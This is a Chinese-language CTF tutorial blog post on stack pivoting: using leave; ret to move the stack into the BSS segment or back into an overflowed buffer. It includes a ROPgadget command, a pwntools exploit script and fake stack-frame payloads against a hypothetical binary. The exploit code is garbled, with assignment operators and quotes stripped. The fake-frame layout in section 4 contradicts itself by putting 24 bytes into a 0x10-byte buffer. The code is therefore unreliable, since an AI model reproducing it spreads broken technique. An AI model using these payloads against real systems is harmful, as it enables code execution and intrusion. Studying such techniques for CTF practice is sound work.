【学习记录】Week6(一):栈的魔术——Stack Pivot 栈迁移与伪造栈帧实战

发布时间:2026/7/2 1:45:36
【学习记录】Week6(一):栈的魔术——Stack Pivot 栈迁移与伪造栈帧实战 写在前面在之前的 ROP 实战中我们默认栈上的空间足够容纳长长的 Gadget 链。但在真实 CTF 题目中经常会遇到read(0, buf, 0x20)这种极度狭小的溢出空间——除去填充和返回地址可能连一个完整的system地址都放不下。当“舞台”栈空间不够大时我们就必须把“舞台”搬到别的地方去。今天我们将学习栈溢出中最具艺术性的操作Stack Pivot栈迁移与栈帧伪造。 目录核心痛点无处安放的 ROP 链灵魂指令leave; ret的本质剖析基础实战Stack Pivot 将栈迁移至 BSS 段极限操作栈重叠与 Fake Stack Frame 伪造总结与避坑指南1. 核心痛点无处安放的 ROP 链场景复现假设程序有一个漏洞函数char buf[8]; read(0, buf, 0x20);在 64 位系统中buf占 8 字节接着 8 字节是保存的 RBP再接着 8 字节是返回地址。我们的输入能力是0x2032 字节。这意味着覆盖完buf(8) RBP(8) RIP(8)后我们只剩 8 字节的空间。这 8 字节根本塞不下pop rdi; ret/bin/shsystem的组合。破局思路既然当前栈帧后面的空间不够那我们就把 RSP栈指针劫持到一个空间充足的区域比如 BSS 段或堆并在那里提前布置好 ROP 链。2. 灵魂指令leave; ret的本质剖析栈迁移的核心依赖于一条常见的函数尾声指令leave; ret。在汇编层面leave等价于两条指令mov rsp, rbp ; 把 rbp 的值赋给 rsp此时栈顶指针被瞬间拉到 rbp 所在位置 pop rbp ; 把此时栈顶的值即 rbp 指向的内存里的数据弹入 rbp 中rsp 随之加 8紧接着执行ret从当前rsp指向的地址弹出 EIP/RIP。迁移逻辑推导如果我们能通过第一次溢出篡改栈上保存的 RBP 为一个我们控制的地址如bss_addr - 8并把返回地址覆盖为程序中leave; ret指令的地址。当函数执行尾声的leave; ret时mov rsp, rbp-rsp被拉到了bss_addr - 8。pop rbp-rsp加 8变成了bss_addr。此时rbp被赋值为bss_addr - 8处的 8 字节数据垃圾数据或我们布置的下一个 fake rbp。ret- CPU 从bss_addr处取 8 字节作为新的返回地址。大功告成我们的执行流已经完全跑到了 BSS 段上接下来就会执行我们在 BSS 段布置的 ROP 链。3. 基础实战Stack Pivot 将栈迁移至 BSS 段假设性环境64位程序漏洞函数 read 限制 0x20 字节。BSS 段可写。步骤 1寻找 GadgetROPgadget --binary vuln --only leave|ret # 假设输出: 0x4011a5 : leave ; ret步骤 2在 BSS 段布置 ROP 链通常程序本身会有往 BSS 段写入的函数如read。假设我们通过某种方式或第一次输入调用了read(0, bss_addr, 0x100)把完整的pop rdi; ret /bin/sh system链写到了bss_addr。步骤 3构造迁移 Payloadfrom pwn import * p process(./vuln) leave_ret 0x4011a5 bss_addr 0x404060 # 假设的 BSS 地址 # 假设此时 bss_addr 已经写好了完整的 ROP 链 # 现在需要通过狭小的栈溢出把栈搬过去 # 1. 填充 buf (8字节) payload bA * 8 # 2. 覆盖保存的 RBP (8字节) # 必须是 bss_addr - 8因为 leave 中的 pop rbp 会消耗 8 字节 # 执行完 pop rbp 后rsp 刚好指向 bss_addr payload p64(bss_addr - 8) # 3. 覆盖返回地址为 leave; ret # 触发栈迁移 payload p64(leave_ret) p.send(payload) p.interactive()模拟终端输出[*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)通过区区 24 字节的溢出我们成功撬动了庞大的 ROP 链。4. 极限操作栈重叠与 Fake Stack Frame 伪造有时候我们连向 BSS 段写入数据的条件都没有只能在当前狭小的栈空间内“螺蛳壳里做道场”。这就需要用到栈重叠和伪造栈帧。场景推演假设read读取 0x30 字节。buf距离 RBP 有 0x10 字节。栈结构如下低地址 | buf (0x10字节) | - 我们输入的起始位置 | 保存的 RBP (8字节) | | 返回地址 (8字节) | | 剩余可写空间 (8字节)| - read 限制 0x30到这里截断 高地址如果我们想调用puts(s)泄露地址正常的 ROP 链是pop rdi; ret s_addr puts_plt这需要 24 字节。但返回地址上面只有 8 字节空间放不下。伪造栈帧与重叠技巧我们把返回地址覆盖为pop rdi; ret。此时pop rdi会从返回地址的上方即剩余可写空间的第 1 个 8 字节取数据弹入rdi。接着执行ret会从剩余可写空间的第 2 个 8 字节取地址跳转。但我们空间不够写不了第 2 个 8 字节破局利用 RBP 进行栈重叠如果我们在buf区域的开头写入s_addr要泄露的地址。然后覆盖保存的 RBP 为buf 的栈地址 - 8。返回地址覆盖为leave; ret。当执行leave; ret时mov rsp, rbp-rsp指向buf 的栈地址 - 8。pop rbp-rsp指向buf 的栈地址。ret- CPU 从buf 的栈地址取 8 字节作为返回地址。但我们写的是s_addr这不是一个合法的代码地址修正逻辑经典 Fake Frame 构造我们利用leave; ret把栈拉回buf区域。我们在buf里布置完整的 ROP 链。Payload 布局如下# 假设 buf 距离 rbp 是 0x10 # fake_rbp 指向 buf 的开头 - 8 # ret_addr 为 leave; ret # 当原始函数返回时执行 leave; ret # 1. rsp 被拉到 buf_addr - 8 # 2. pop rbp (rsp buf_addr) # 3. ret (从 buf_addr 取地址执行) # 所以我们在 buf 里必须这样布置 payload p64(pop_rdi_ret) # buf 开头作为 ret 跳转的目标 payload p64(puts_got) # pop rdi 的参数 payload p64(puts_plt) # 第二个 ret 的目标 # 0x10 字节填满 buf payload p64(buf_addr - 8)# 覆盖原 RBP用于第二次 leave 迁移 payload p64(leave_ret) # 覆盖原 RIP触发迁移通过这种套娃式的地址计算我们在极其有限的输入范围内让栈指针在同一个缓冲区内反复横跳完成了参数布置和函数调用。这就是“栈重叠”的魅力。5. 总结与避坑指南计算精确栈迁移最痛苦的地方在于地址计算。bss_addr - 8中的-8绝不能忘因为leave包含的pop rbp会消耗 8 字节。如果对不齐ret就会取到错位的地址导致段错误。可写权限迁移的目标地址BSS 或堆必须具有写权限rw-否则布置 ROP 链时会报错。ASLR 的影响如果要把栈迁移到栈上的另一个位置必须先泄露栈地址。如果迁移到 BSS 段BSS 段地址通常不受 ASLR 影响未开 PIE 时更加稳定。栈迁移是 PWN 技巧中极具创造力的一环。理解了它你就不再受制于题目给出的狭小空间真正做到了“凭空造物”。下一篇我们将迎接 ROP 系列的终极杀器——SROPSigreturn Oriented Programming看看如何通过伪造系统信号帧一次性控制所有寄存器。如果本文对你有帮助请点赞收藏支持